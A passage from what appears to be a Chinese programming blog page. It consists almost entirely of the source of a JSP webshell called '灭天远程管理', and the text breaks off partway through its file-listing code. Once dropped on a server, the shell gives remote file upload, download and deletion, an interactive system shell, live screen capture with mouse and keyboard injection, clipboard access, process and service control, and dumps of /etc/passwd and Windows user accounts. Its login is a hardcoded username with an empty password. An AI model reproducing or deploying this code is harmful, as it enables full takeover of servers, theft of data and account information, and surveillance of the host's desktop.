- 浏览: 110717 次
- 来自: ...
文章分类
最新评论
-
happyeoe:
[u][/u]引用[*][*]
OpenFire 用户密码加密方法 -
zfms:
handlePresence 请问这个方法您那边加好友的时候触 ...
JWChat源码研究心得 -
zhmy0129:
...
Bat 加载 jar 文件. -
lw150:
jwchat性能有问题
JWChat源码研究心得 -
皓月之光:
...
Spring AOP 写日志,取request、session、application
<%@page contentType="text/html; charset=UTF-8" %><%@page import="java.util.zip.*" %><%//@page import="org.apache.tools.zip.*" %><%@ page import="java.io.*" %><%@ page import="java.net.*" %><%@page import="java.sql.*" %><%@page import="sun.awt.shell.ShellFolder"%><%@page import="javax.swing.filechooser.FileSystemView"%><%@ page import="java.util.*"%><%@ page import="java.math.*"%><%@page import="java.awt.*" %><%@page import="java.awt.event.*" %><%@page import="java.awt.image.*"%><%@page import="javax.swing.*"%><%@page import="java.awt.datatransfer.*"%><%@page import="javax.imageio.*"%><%@page import="java.util.regex.*"%><%!
private static final String PASSWORD="";//这里是用户的登陆密码
String uri;
private static final boolean isLinux=System.getProperty("os.name").startsWith("Linux");
private static final FileSystemView fsv = FileSystemView.getFileSystemView();
private static String START_TYPE[] ={"", "", "自动", "手动", "禁用"};
private static String STATE_TYPE[] ={"", "已停止", "", "", "已启动", "5", "6", "暂停"};
private static Rectangle rect[] = new Rectangle[8];
static
{
Dimension d = Toolkit.getDefaultToolkit().getScreenSize();
int width = d.width;
int height = d.height;
for (int i = 0; i < rect.length; i++)
{
rect[i] = new Rectangle(0, height/8 * i, width, height/8);
}
}
public static String exec(String cmd, Writer out) throws IOException
{
StringBuffer sb = new StringBuffer();
int len = 0;
byte by[] = new byte[cmd.length() * 10];
Process p = Runtime.getRuntime().exec(cmd);
InputStream is = p.getInputStream();
while((len = is.read(by)) != -1)
{
String str = new String(by, 0, len);
if(out != null)
{
out.write(str);
out.flush();
}
sb.append(str);
}
is.close();
return sb.toString();
}
public String unzip(File file, File dir) throws IOException
{
if (file.getName().toLowerCase().endsWith(".zip"))
{
StringBuffer result = new StringBuffer();
try
{
ZipFile zf = new ZipFile(file);
Enumeration enumer = zf.entries(); //zf.getEntries();
while (enumer.hasMoreElements())
{
ZipEntry ze = (ZipEntry) enumer.nextElement();
String zename = ze.getName();
result.append(zename + "<br/>");
if (ze.isDirectory())
{
File file11 = new File(dir,zename);
file11.mkdirs();
} else
{
File file11 = new File(dir,zename).getParentFile();
if (!file11.exists())
{
file11.mkdirs();
}
int i=0;
byte zeby[] = new byte[8192];
InputStream is = zf.getInputStream(ze);
FileOutputStream fos = new FileOutputStream(dir.getAbsolutePath() + "/" + zename);
while((i=is.read(zeby))!=-1)
{
fos.write(zeby,0,i);
}
is.close();
fos.close();
}
}
zf.close();
result.append("全部完成");
return result.toString();
} catch (Exception e)
{
return (file.getName() + " 不是 ZIP 压缩文件");
}
} else
{
Runtime rt = Runtime.getRuntime();
File f=new File("C:\\Program Files\\WinRAR\\UnRAR.exe");
if(!f.exists())f=new File("D:\\Program Files\\WinRAR\\UnRAR.exe");
if(!f.exists())f=new File(this.getServletContext().getRealPath(uri)+"\\UnRAR.exe");
String path=f.exists()?f.getPath():"unrar";
Process p = rt.exec("\"" + path + "\" x -o+ -p- " + file.getAbsolutePath() + " " + dir.getAbsolutePath());
StringBuffer sb = new StringBuffer();
InputStream fis = p.getInputStream();
int value = 0;
while ((value = fis.read()) != -1)
{
sb.append((char) value);
}
fis.close();
String result = new String(sb.toString().getBytes("ISO-8859-1"), "GBK");
int index = result.indexOf("中解压");
if (index == -1)
{
return (file.getName() + " 不是 RAR 压缩文件");
} else
{
index += 4;
result = result.substring(index);
result = result.replaceAll("\r\n", "<br/>").replaceAll(" ", " ");//.replaceAll("\n", "<BR/>").replaceAll("\\\\", "/").replaceAll(file.getAbsolutePath(), "");
return (result);
}
}
}
public static void zip(String ps[],OutputStream os)throws IOException
{
ZipOutputStream zos = new ZipOutputStream(os);
for(int i=0;i<ps.length;i++)
{
zip(zos,new File(ps[i]),"");
}
zos.close();
}
public static void zip(ZipOutputStream zos, File file, String context) throws IOException
{
if (file.isFile())
{
int i=0;
byte by[] = new byte[8192];
FileInputStream is = new FileInputStream(file);
zos.putNextEntry(new ZipEntry(context + file.getName()));
while((i=is.read(by))!=-1)
{
zos.write(by,0,i);
}
is.close();
zos.closeEntry();
} else
if (file.isDirectory())
{
context=context + file.getName() + "/";
zos.putNextEntry(new ZipEntry(context));
zos.closeEntry();
File files[] = file.listFiles();
if (files != null)
{
for (int i = 0; i < files.length; i++)
{
zip(zos, files[i], context);
}
}
}
}
public void del(File f)
{
if (f.isDirectory())
{
File fs[] = f.listFiles();
for (int i = 0; i < fs.length; i++)
{
del(fs[i]);
}
}
f.delete();
}
public void copy(File s,File d)throws IOException
{
d=new File(d,s.getName());
if(s.isDirectory())
{
d.mkdir();
File fs[]=s.listFiles();
for(int i=0;i<fs.length;i++)
{
copy(fs[i],d);
}
}else
{
byte by[] = new byte[8192];
FileInputStream fis=new FileInputStream(s);
FileOutputStream fos=new FileOutputStream(d);
int i=0;
while((i=fis.read(by))!=-1)
{
fos.write(by,0,i);
}
fis.close();
fos.close();
}
}
public static File getLnkpath(File f)throws IOException
{
if(f.exists())
{
byte by[]=new byte[(int)f.length()];
FileInputStream fis=new FileInputStream(f);
fis.read(by);
fis.close();
String str=new String(by,"GBK");
String prefix=new StringBuffer(7).append((char)42).append((char)65533).append((char)16).append((char)0).append((char)0).append((char)0).append((char)0).toString();
int i=str.indexOf(prefix)+7;
if(i>6)
{
StringBuffer path=new StringBuffer();
for(int j=i;j<str.length();i++)
{
int ch=str.charAt(i);
if(ch!=0)
{
path.append((char)ch);
}else
{
break;
}
}
return new File(path.toString());
}
}
return f;
}
%><%
String user=(String)session.getAttribute("user");
uri=request.getRequestURI();
uri=uri.substring(0,uri.lastIndexOf('/'));
request.setCharacterEncoding("UTF-8");
String p=request.getParameter("p");
if(p==null)p="/";
File f = new File(p);
if(!f.exists())
{
p=new String(p.getBytes("ISO-8859-1"),"UTF-8");
f = new File(p);
}
String v=request.getParameter("v");
String ps[]=request.getParameterValues("ps");
String mt=request.getParameter("mt");
if(mt==null)mt="file";
int pos=0;
String tmp=request.getParameter("pos");
if(tmp!=null)
{
pos=Integer.parseInt(tmp);
}
int oby=1;
tmp=request.getParameter("oby");
if(tmp==null)
{
tmp=(String)session.getAttribute("oby");
}
if(tmp!=null)
{
oby=Integer.parseInt(tmp);
session.setAttribute("oby",String.valueOf(oby));
}
//版本
boolean ver=true;
Boolean btmp=(Boolean)session.getAttribute("ver");
if(btmp!=null)
{
ver=btmp.booleanValue();
}
///////////////////////////////////
if(mt.length()>5)
{
if(user==null)
{
user=request.getParameter("user");
String pwd=request.getParameter("pwd");
ver="true".equals(request.getParameter("ver"));
if(user.equals("mietian")&&pwd.equals(PASSWORD))
{
session.setAttribute("ver",new Boolean(ver));
session.setAttribute("user",user);
}else
{
out.print("<script>history.back();alert('用户名或密码错误!!!');</script>");
return;
}
}
out.clear();
if(mt.equals("file.mkdir"))
{
f=new File(f,v);
f.mkdirs();
}else if(mt.equals("file.del"))
{
for(int i=0;i<ps.length;i++)
{
del(new File(ps[i]));
}
}else if(mt.equals("file.unzip"))
{
for(int i=0;i<ps.length;i++)
{
unzip(new File(ps[i]),f);
}
}else if(mt.equals("file.zip"))
{
File co=new File(ps[0]+".zip");
while(co.exists())
{
co=new File(ps[0]+"_"+System.currentTimeMillis()+".zip");
}
zip(ps,new FileOutputStream(co));
}else if(mt.equals("file.down"))
{
response.setContentType("application/octet-stream");
response.setHeader("Content-Disposition", "attachment; filename=" + URLEncoder.encode("file.zip","UTF-8"));
zip(ps,response.getOutputStream());
return;
}else if(mt.equals("file.ren"))
{
for(int i=0;i<ps.length;i++)
{
File re=new File(f,v+(i==0?"":" ("+i+")"));
new File(ps[i]).renameTo(re);
}
}else if(mt.equals("file.cut")||mt.equals("file.copy"))
{
session.removeAttribute("file.cut");
session.removeAttribute("file.copy");
session.setAttribute(mt,ps);
}else if(mt.equals("file.paste"))
{
ps=(String[])session.getAttribute("file.cut");
if(ps!=null)
{
out.print("剪切...<br>");
for(int i=0;i<ps.length;i++)
{
if(p.startsWith(ps[i]))
{
out.print("跳过"+ps[i]+"<br/>");
continue;
}
File cut=new File(ps[i]);
boolean rs=cut.renameTo(new File(f,cut.getName()));
if(!rs)
{
copy(cut,f);
del(cut);
}
out.print(ps[i]+"<br/>");
out.flush();
}
session.removeAttribute("file.cut");
}else
if((ps=(String[])session.getAttribute("file.copy"))!=null)
{
out.print("复制...<br>");
for(int i=0;i<ps.length;i++)
{
if(p.startsWith(ps[i]))
{
out.print("跳过"+ps[i]+"<br/>");
continue;
}
copy(new File(ps[i]),f);
out.print(ps[i]+"<br>");
out.flush();
}
}
out.print("完成,<A href=?p="+URLEncoder.encode(p,"UTF-8")+" >返回</A>");
return;
}else if(mt.equals("file.ext"))
{
if(f.exists())
{
try
{
Image i=((ImageIcon)fsv.getSystemIcon(f)).getImage();
BufferedImage bi=new BufferedImage(16,16,BufferedImage.TYPE_4BYTE_ABGR);
bi.createGraphics().drawImage(i,0,0,null);
//BufferedImage bi=(BufferedImage)((ImageIcon)fsv.getSystemIcon(f)).getImage();
OutputStream os=response.getOutputStream();
ImageIO.write(bi,"PNG",os);
os.close();
}catch(Exception ex)
{
}
}
return;
}else if(mt.equals("file.dl"))
{
response.setContentType("application/octet-stream");
response.setHeader("Content-Disposition", "attachment; filename=" + URLEncoder.encode(f.getName(),"UTF-8"));
int len=(int)f.length();
response.setContentLength(len);
FileInputStream fis=new FileInputStream(f);
OutputStream os=response.getOutputStream();
byte by[]=new byte[8192];
int value=0;
try
{
while((value=fis.read(by))!=-1)
{
os.write(by,0,value);
}
}finally
{
fis.close();
os.close();
}
return;
}else if(mt.equals("file.upload"))
{
String ce = request.getCharacterEncoding();
if(ce == null)ce = System.getProperty("file.encoding");
String ct = request.getContentType();
ct="--" + ct.substring(30);
int j=0;
byte by[] = new byte[8192];
ServletInputStream is = request.getInputStream();
is.readLine(by,0,by.length);//ct
while((j=is.readLine(by,0,by.length))!=-1)
{
String line = new String(by, 0, j, ce);//Content-Disposition
int x = line.indexOf("name=\"") + 6;
int y = line.indexOf("\"", x);
String name = line.substring(x, y);
x = line.indexOf("filename=\"", y) + 10;
is.readLine(by,0,by.length);//Content-Type: application/msword 或 rn
if(x > 10)
{
y = line.indexOf("\"", x);
String fn = line.substring(x, y);
x = fn.lastIndexOf('\\');
if(x != -1)
fn = fn.substring(x + 1);
OutputStream os = new FileOutputStream(new File(p, fn));
boolean rn = false;
j=is.readLine(by,0,by.length);//rn
if(j==2)
{
j=is.readLine(by,0,by.length);//
}
do
{
if(rn)
{
os.write(13);
os.write(10);
}
if(j > 2 && by[j - 2] == 13 && by[j - 1] == 10)
{
rn = true;
j -= 2;
} else
{
rn = false;
}
os.write(by, 0, j);
j = is.readLine(by,0,by.length);
line = new String(by, 0, j, ce);
} while(!line.startsWith(ct));
os.close();
}else
{
j =is.readLine(by,0,by.length);
line = new String(by, 0, j, ce);
StringBuffer sb = new StringBuffer();
do
{
sb.append(line);
j =is.readLine(by,0,by.length);
line = new String(by, 0, j, ce);
} while(!line.startsWith(ct));
sb.setLength(sb.length() - 2);
if(name.equals("p"))
{
p=sb.toString();
}
}
}
is.close();
}else if(mt.equals("wins.screen"))
{
Robot r = new Robot();
BufferedImage bi = r.createScreenCapture(rect[Integer.parseInt(v)]);
//ByteArrayOutputStream os = new ByteArrayOutputStream();
OutputStream os=response.getOutputStream();
try
{
ImageIO.write(bi, "PNG", os);
}catch(Exception ex)
{}
//byte by[] = os.toByteArray();
os.close();
return;
}else if(mt.equals("wins.event"))
{
Robot r = new Robot();
String event=request.getParameter("e");
if (event.startsWith("mouse"))
{
int x = Integer.parseInt(request.getParameter("x"));
int y = Integer.parseInt(request.getParameter("y"));
int b = Integer.parseInt(request.getParameter("b"));//16:左,8:中,4:右
switch(b)
{
case 0:
b=16;
break;
case 1:
b=8;
break;
case 2:
b=4;
break;
}
r.mouseMove(x, y);
if (event.equals("onmouseclick"))
{
r.mousePress(b);
r.mouseRelease(b);
} else
if ("onmousedblclick".equals(event))
{
r.mousePress(KeyEvent.BUTTON1_MASK);
r.mouseRelease(KeyEvent.BUTTON1_MASK);
r.mousePress(KeyEvent.BUTTON1_MASK);
r.mouseRelease(KeyEvent.BUTTON1_MASK);
} else
if (event.equals("mousedown"))
{
r.mousePress(b);
} else
if (event.equals("mouseup"))
{
r.mousePress(b);
r.mouseRelease(b);
}
} else if (event.startsWith("key"))
{
int k = Integer.parseInt(request.getParameter("k"));
if (k > 218 && k < 222) //[:219-91, \:220-92, ]:221-93
{
k = k - 128;
} else if (k > 187 && k < 192) //,:188-44, .:190-46, /:191-47
{
k = k - 144;
} else
{
switch (k)
{
case 45: //insert
k = 155;
break;
case 46:
k = 127;
break;
case 91: //win
case 92:
k = 524;
break;
case 93: //右键
k = 525;
break;
// case 37://left
// k=226;
// break;
// case 38://up
// k=224;
// break;
// case 39://right
// k=227;
// break;
// case 40://down
// k=225;
// break;
case 13:
k = 10;
break;
}
}
if (event.equals("keydown"))
{
r.keyPress(k);
} else if (event.equals("keypress"))
{
r.keyPress(k);
} else if (event.equals("keyup"))
{
r.keyRelease(k);
}
}
return;
}else if(mt.equals("wins.cb"))
{
Clipboard cb=Toolkit.getDefaultToolkit().getSystemClipboard();
cb.setContents(new StringSelection(v),null);
out.print("<script>window.close();</script>");
return;
}else if(mt.equals("task.kill"))
{
for(int i=0;i<ps.length;i++)
{
exec((isLinux ? "kill -9 " : "tskill ") + ps[i], null);
}//ntsd -c q -p PID
}else if(mt.equals("serv.start")||mt.equals("serv.stop")||mt.equals("serv.restart"))
{
StringBuffer js=new StringBuffer();
String cmd=mt.substring(5);
for(int i=0;i<ps.length;i++)
{
if(isLinux)
{
ps[i]="/etc/init.d/"+ps[i]+" "+cmd;
}else if(cmd.equals("restart"))
{
ps[i]="cmd /c net stop "+ps[i]+" & net start "+ps[i];
}else
{
ps[i]="net "+cmd+" "+ps[i];
}
String str=exec(ps[i], null);
js.append(str);
}
//out.print("<script>alert(\""+js.toString()+"\");</script>");
//return;
}else if(mt.equals("serv.restart"))
{
for(int i=0;i<ps.length;i++)
{
String str= exec(isLinux ? "/etc/init.d/ "+ps[i]+" restart" : "net stop "+ps[i]+" & net start "+ps[i], null);
out.print("<script>alert('"+str+"');</script>");
}
return;
}else if(mt.equals("term.cmd"))
{
String txt=(String)session.getAttribute("txt");
Process pro=(Process)session.getAttribute("cmd");
if(pro==null)
{
pro=Runtime.getRuntime().exec(isLinux?"bash":"cmd",null,f);
session.setAttribute("cmd",pro);
txt="";
}
if(v!=null)
{
v=v+"\r\n";
OutputStream os=pro.getOutputStream();
if(isLinux)
{
v="pwd>mtc.txt\n"+v.substring(0,v.length()-2)+">>/mtc.txt\n";
}
String quc=v.trim().toLowerCase();
if(quc.equals("restart"))
{
os.write(v.getBytes());
}else if(quc.equals("env"))
{
txt=txt+"<table>";
Properties sps=System.getProperties();
Enumeration e=sps.keys();
while(e.hasMoreElements())
{
String name=(String)e.nextElement();
String value=(String)sps.get(name);
txt=txt+"<tr><td>"+name+"<td>"+value;
}
txt=txt+"</table>";
}else
{
os.write(v.getBytes());
if(quc.equals("exit"))
{
session.removeAttribute("cmd");
}
}
os.flush();
if(quc.startsWith("net stop tomcat"))
{
if(!"SYSTEM".equals(System.getProperty("user.name")))//如果不是服务
{
String cmd="tskill "+quc.split(" ")[2]+"\r\n";
os.write(cmd.getBytes());
os.flush();
System.exit(0);
}
}
Thread.sleep(500L);
}
if(v!=null||(txt.length()==0&&!isLinux))
{
InputStream is=pro.getInputStream();
if(isLinux)
{
is=new FileInputStream("/mtc.txt");
txt=txt+"\n"+v;
}
for(int i=0;i<10||is.available()>0;i++)
{
if(i==9)is=pro.getErrorStream();
if(is.available()==0)
{
Thread.sleep(500L);
}else
{
i=0;
byte by[]=new byte[is.available()];
is.read(by);
String str=new String(by).replaceAll("<","<");
//cls
int cls=str.lastIndexOf("\f");
txt=cls==-1?txt+str:str.substring(cls+1);
}
}
session.setAttribute("txt",txt);
}
out.print("<pre>"+txt+"</pre>");
}
if(!mt.equals("term.cmd"))
{
response.sendRedirect(request.getRequestURI()+"?mt="+mt.substring(0,4)+"&p="+URLEncoder.encode(p,"UTF-8"));
return;
}
}
String mt4=mt.substring(0,4);
%>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title><%=p%> 灭天远程管理</title>
<style type="text/css">
body
{
margin-left: 0px;
margin-top: 0px;
margin-right: 0px;
margin-bottom: 0px;
}
body,td,th
{
font-size: 12px;
}
img
{
border: 0;
vertical-align:middle;
}
table
{
width:100%;
border:1px solid #bbd7e6;
}
th
{
border-bottom:1px solid #bbd7e6;
background-color:#E1ECFE;
}
.I
{
width:16px;
height:16px;
}
.H
{
filter:alpha(opacity=50)
}
.t<%=oby%>
{
background:#F7F7F7;
}
.t2
{
text-align:right;
}
</style>
<script type="text/javascript">
function f(v)
{
form1.mt.value=v;
}
function s(b)
{
form1.ps.checked=b;
for(var i=0;i<form1.ps.length;i++)
{
form1.ps[i].checked=b;
}
}
function d(mt,dv)
{
var t;
switch(mt)
{
case "file.ren":
t="请输入新的名字";
dv="这里输入新名子";
break;
case "file.mkdir":
t="新建文件夹";
dv="新建文件夹";
break;
case "file.del":
t="确认删除?";
break;
case "file.upload":
form1.encoding="multipart/form-data";
form1.action="?mt="+mt;
break;
case "term.cmd":
form1.cmd.disabled=true;
break;
default:
form1.method="get";
}
if(t)
{
dv=dv?prompt(t,dv):confirm(t);
if(!dv) return false;
}
form1.v.value=dv;
form1.mt.value=mt;
form1.submit();
}
function c()
{
var ps=document.form1.ps;
if(ps)
{
var flag=ps.checked;
for(var i=0;i<ps.length;i++)
{
if(ps[i].checked)
{
flag=true;
break;
}
}
var ids=new Array("cut","copy","del","ren","unzip","zip","down","kill","start","stop","restart");
for(var i=0;i<ids.length;i++)
{
var obj=document.getElementById(ids[i]);
if(obj)obj.disabled=!flag;
}
}
}
setInterval(c,100);
//排序
function o(field)
{
var url=location.search.substring(1);
window.open("?oby="+field+"&"+url,"_self");
}
//
var down=false;
function fevent(event)
{
if(!event)event=window.event;
if(event.type=="mousedown")
{
down=true;
// try
// {
// this.setCapture();
// }catch(e)
// {
// document.addEventListener("mousemove",fevent,true);
// }
}else if(event.type=="mouseup")
{
down=false;
// try
// {
// this.releaseCapture();
// }catch(e)
// {
// document.removeEventListener("mousemove",fevent,true);
// }
}
if(down||event.type!="mousemove")
{
var button=event.button;
if(document.all)
{
switch(button)
{
case 1:
button=0;
break;
case 4:
button=1;
break;
case 3:
return;
}
}
var x=event.clientX+document.body.scrollLeft;
var y=event.clientY+document.body.scrollTop-20;
ifr.src=ifr.location=('?mt=wins.event&x='+x+'&y='+y+'&k='+(event.keyCode||event.which)+'&b='+button+'&e='+event.type);
}
//document.getElementById('xy').value=(event.keyCode||event.which);
try
{
event.keyCode=0;
event.returnValue=false;
}catch(e)
{
return false;
}
}
</script>
</head>
<body>
<form name="form1" action="?" enctype="application/x-www-form-urlencoded" method="post">
<input type="hidden" name="mt" value="<%=mt%>"/>
<input type="hidden" name="v" value=""/>
<%
if(user==null)
{
%>
<br>
<h2>灭天远程管理</h2>
<table align="center" style='width:600px'>
<tr>
<td align="right">用户名:</td>
<td><input type="text" name="user" value="mietian" /></td>
</tr>
<tr>
<td align="right">密码:</td>
<td><input type="password" name="pwd" /></td>
</tr>
<tr>
<td align="right">版本:</td>
<td><select name="ver">
<option value="true">普通</option>
<option value="false">极速</option>
</td>
</tr>
<tr>
<td> </td>
<td><input type="submit" value="提交" onclick="d('file.login')" />
<input type="reset" value="重置" /></td>
</tr>
</table>
<script type="">form1.user.focus();</script>
<%
}else if("win0".equals(mt4))//获取服务器剪贴板内容
{
Clipboard cb=Toolkit.getDefaultToolkit().getSystemClipboard();
Transferable tr=cb.getContents(null);
String str="";
if(tr.isDataFlavorSupported(DataFlavor.stringFlavor))
{
str=(String) tr.getTransferData(DataFlavor.stringFlavor);
}
out.print("<textarea id='cb' style='width:100%' rows='10' wrap='off'>"+str.replaceAll("</","</")+"</textarea>");
out.print("<input type='button' value='确定' onclick=d('wins.cb',cb.value)><input type='button' value='关闭' onclick='window.close();'>");
return;
}else
{
String rem[]={"文件","终端","桌面","任务","服务","用户","信息"};
String cmd[]={"file","term","wins","task","serv","user","info"};
out.print("<select onchange='d(value)'>");
for(int i=0;i<cmd.length;i++)
{
out.print("<option value='"+cmd[i]+"'");
if(cmd[i].equals(mt4))
{
out.print(" selected=''");
}
out.print(">"+rem[i]);
}
out.print("</select>");
if("term".equals(mt4))
{
out.print("<input name='p' type='hidden' value=\""+p+"\"/>");
out.print("<textarea name='cmd' style='width:100%;overflow-y:visible;' rows='5' onkeypress=\"if(!event.shiftKey&&event.keyCode==13){ event.returnValue=false; d('term.cmd',value); }\"></textarea><script>form1.cmd.focus();</script>");
out.print("<br/><br/><br/>");
out.print("<table style='width:400'>");
out.print(" <tr><th>功能</th><th>命令</th></tr>");
out.print(" <tr><td>重启机器</td><td>shutdown -r -f -time 0</td></tr>");
out.print(" <tr><td>解压文件</td><td>unrar x -y xxxx.rar</td></tr>");
out.print(" <tr><td>重启服务</td><td>net stop tomcat6 & net start tomcat6</td></tr>");
out.print(" <tr><td>环境信息</td><td>env</td></tr>");
out.print("</table>");
}else if("wins".equals(mt4))
{
out.print("<input type='button' value='剪贴板' onclick=window.open('?mt=win0','','width=400,height=200,resizable=1')><br>");
for(int i=0;i<8;i++)
{
out.print("<img name=img src=?mt=wins.screen&v="+i+" onmousedown='fevent(event)' onmousemove='fevent(event)' onmouseup='fevent(event)'><br>");
}
out.print("<script>");
out.print("document.body.onkeydown=fevent;");
out.print("document.body.onkeyup=fevent;");
out.print("document.body.oncontextmenu=function(){return false};");
out.print("document.body.onselectstart=function(){return false};");
out.print("var img=document.getElementsByName('img');");
out.print("function ftimeout()");
out.print("{");
out.print(" for(var i=0;i<img.length;i++)");
out.print(" {");
out.print(" img[i].src='?mt=wins.screen&v='+i+'&t='+new Date().getTime();");
out.print(" }");
out.print("}");
out.print("window.setInterval(ftimeout,2000);");
out.print("</script>");
out.print("<iframe id='ifr' src='about:blank' style='display:none'></iframe>");
}else if("task".equals(mt4))
{
out.print("<input type='button' id='kill' value='结束进程' onclick=d('task.kill'); />");
out.print("<table>");
String str = exec(isLinux ? "ps uax" : "tasklist /v /fo csv", null);
String trs[] = str.trim().split("\n");
for(int i = 0; i < trs.length; i++)
{
if(trs[i].startsWith("\"tasklist.exe\""))
continue;
String tds[] = trs[i].split(isLinux ? " +" : "\",\"");
out.print("<tr onmouseover=bgColor='#BCD1E9' onmouseout=bgColor=''><td><input type='checkbox' name='ps' value='" + tds[1] + "' onclick=if(value=='PID')s(checked)>");
for(int j = 0; j < tds.length; j++)
{
if(isLinux)
{
if(tds[j].charAt(0) == '/')// linux: 绝对路径中取名称
{
int x = tds[j].lastIndexOf("/");
if(x != -1)
tds[j] = tds[j].substring(x + 1);
}
} else
if(j == 0)
tds[j] = tds[j].substring(1);
else
if(j == tds.length - 1)
tds[j] = tds[j].substring(0, tds[j].length() - 2);
else
if(j == 6)
tds[j] = tds[j].substring(tds[j].indexOf('\\') + 1);
out.print(i==0?"<th nowrap>":"<td>");
out.print(tds[j]);
}
out.print("</tr>\n");
}
out.print("</table>");
}else if("serv".equals(mt4))
{
out.print("<input type='button' id='start' value='启动' onclick=d('serv.start'); />");
out.print("<input type='button' id='stop' value='停止' onclick=d('serv.stop'); />");
out.print("<input type='button' id='restart' value='重启' onclick=d('serv.restart'); />");
out.print("<table>");
if (isLinux)
{
out.print("<tr><th><th>服务名称<th>状态<th>描述</tr>");
File fs[] = new File("/etc/rc.d/init.d/").listFiles();
for (int i = 0; i < fs.length; i++)
{
String name = fs[i].getName();
out.print("<tr onmouseover=bgColor='#BCD1E9' onmouseout=bgColor=''><td><input type='checkbox' name='ps' value=" + name + ">");
out.print("<td>"+name);
//
String str = exec("/etc/init.d/" + name + " status", null);
int j = str.indexOf(" ");
out.print("<td>"+str.substring(j + 1));
//
byte by[] = new byte[500];
FileInputStream fis = new FileInputStream(fs[i]);
fis.read(by);
fis.close();
str = new String(by).replaceAll("\\\\\n#", "");
j = str.indexOf("# description: ");
if (j != -1)
{
str = str.substring(j + 15, str.indexOf("\n", j));
}
out.print("<td title=\""+str+"\">");
if (str.length() > 20)
{
str = str.substring(0, 17) + "...";
}
out.print(str);
out.print("\n");
}
} else
{
out.print("<tr><td><th>名称<th>描述<th>状态<th>启动类型<th>登录为</tr>");
String str = exec("sc query state= all", null);
String ss[] = str.split("SERVICE_NAME: ");
for (int i = 1; i < ss.length; i++)
{
String rs[] = ss[i].split("\r\n");
String sname = rs[0];
String title = rs[1].substring(14);
int state = rs[3].charAt(29) - 48;
int start=0;
String desc=null,path=null,login=null;
if(ver)
{
//描述
//str = exec("sc qdescription " + rs[0], null);
//desc = str.substring(str.indexOf(": ") + 3);
//
str = exec("sc qc \"" + rs[0]+"\"", null);
rs = str.split("\r\n");
start = rs[4].charAt(29) - 48;
path = rs[6].substring(29);
login = rs[11].substring(29);
if (login.equalsIgnoreCase("LocalSystem"))
{
login = "本地系统";
} else if (login.equalsIgnoreCase("NT AUTHORITY\\LocalService"))
{
login = "本地服务";
} else if (login.equalsIgnoreCase("NT AUTHORITY\\NetworkService"))
{
login = "网络服务";
}
}
out.print("<tr onmouseover=bgColor='#BCD1E9' onmouseout=bgColor='' title=\"");
out.print("服务名 :"+sname+" ");
out.print("显示名 :"+title+" ");
out.print("描述 :"+desc+" ");
out.print("状态 :"+STATE_TYPE[state]+" ");
out.print("启动类型:"+START_TYPE[start]+" ");
out.print("路径 :"+path.replaceAll("\"",""")+" ");
out.print("登录为 :"+login+"\">");
if (title!=null&&title.length() > 30)
{
title = title.substring(0, 27) + "...";
}
if (desc!=null&&desc.length() > 20)
{
desc = desc.substring(0, 17) + "...";
}
out.print("<td><input type='checkbox' name='ps' value=\"" + sname + "\">");
out.print("<td>");
if(path!=null)
{
int j=path.indexOf(" ");
if(j!=-1)path=path.substring(0,j);
out.print("<img src='?mt=file.ext&p="+URLEncoder.encode(path,"UTF-8")+"' class='I'>");
}
out.print(title);
out.print("<td>"+desc);
out.print("<td>"+STATE_TYPE[state]);
out.print("<td>"+START_TYPE[start]);
out.print("<td>"+login+"\n");
}
}
out.print("</table>");
}else if("user".equals(mt4))
{
out.print("<table>");
File fpwd = new File("/etc/passwd");
if (fpwd.exists())
{
byte by[] = new byte[ (int) fpwd.length()];
FileInputStream fis = new FileInputStream(fpwd);
fis.read(by);
fis.close();
String str = new String(by);
str = ("\n" + str.substring(0, str.length() - 1)).replaceAll("\n", "<tr onmouseover=bgColor='#BCD1E9' onmouseout=bgColor=''><td>").replaceAll(":", "<td>");
str = "<tr><th>用户名<th>口令<th>用户标识号<th>组标识号<th>注释性描述<th>主目录<th>登录Shell</tr>" + str;
out.print(str);
} else
{
out.print("<tr><th>用户名<th>全名<th>注释<th>用户的注释<th>国家(地区)代码<th>帐户启用<th>帐户到期<th>上次设置密码<th>密码到期<th>密码可更改<th>需要密码<th>用户可以更改密码<th>允许的工作站<th>登录脚本<th>用户配置文件<th>主目录<th>上次登录<th>可允许的登录小时数<th>本地组成员<th>全局组成员</tr>");
String str = exec("net user", null);
str = str.substring(str.indexOf("-\r\n") + 3);
String us[] = str.split(" +");
for (int i = 0; i < us.length - 1; i++)
{
out.print("<tr onmouseover=bgColor='#BCD1E9' onmouseout=bgColor=''>");
// out.print("<td>"+us[i]);
String s[] = exec("net user " + us[i], null).split("(\r\n)+");
for (int j = 0; j < s.length - 1; j++)
{
out.print("<td>"+s[j].substring(s[j].indexOf(' ') + 1));
}
}
}
out.print("</table>");
}else if("info".equals(mt4))
{
out.print("<pre>");
String str = exec(isLinux ? "dmidecode" : "systeminfo", null);
out.print(str);
out.print("</pre>");
}else
{
p=p.replaceAll("\\\\","/");
if(!p.endsWith("/"))p+="/";
%>
<input type="text" name="p" value="<%=p%>" onfocus="select();" style="position:absolute; width:400px; top:1px;">
<select id="pmenu" style="position:absolute; width:400px; top:1px; clip:rect(0 400 20 381)" onchange="form1.p.value=value;form1.submit();">
<%
File fs[]=!isLinux&&p.length()<2?File.listRoots():f.listFiles();
//排序
if(oby>1)
{
for(int i=0;i<fs.length;i++)
{
long ilm=fs[i].lastModified();
long ile=fs[i].length();
for(int j=i;j<fs.length;j++)
{
long jlm=fs[j].lastModified();
long jle=fs[j].length();
if(oby==4&&ilm>jlm||oby==2&&ile>jle)
{
File sw=fs[i];
fs[i]=fs[j];
fs[j]=sw;
ilm=jlm;
ile=jle;
}
}
}
}
out.print("<option value=\"/\">我的电脑");
File rfs[]=File.listRoots();
if(isLinux)
{
Matcher m=Pattern.compile(" (/[^\n]+)\n").matcher(exec("df",null));
ArrayList al=new ArrayList();
while(m.find())
{
al.add(new File(m.group(1)));
}
rfs=new File[al.size()];
al.toArray(rfs);
}
for(int i=0;i<rfs.length;i++)
{
String path=rfs[i].getPath().replaceAll("\\\\","/");
String name=!fsv.isFloppyDrive(rfs[i])&&rfs[i].exists()?fsv.getSystemDisplayName(rfs[i]):path;
out.print("<option value=\""+path+"\"> "+name);
if(p.length()>0&&p.startsWith(path))
{
int pindex=path.length();
while((pindex=p.indexOf("/",pindex+1))!=-1)
{
String str=p.substring(0,pindex+1);
String rps[]=str.split("/");
out.print("<option value=\""+str+"\">");
for(int j=0;j<rps.length;j++)out.print(" ");
out.print(rps[rps.length-1]);
}
}
}
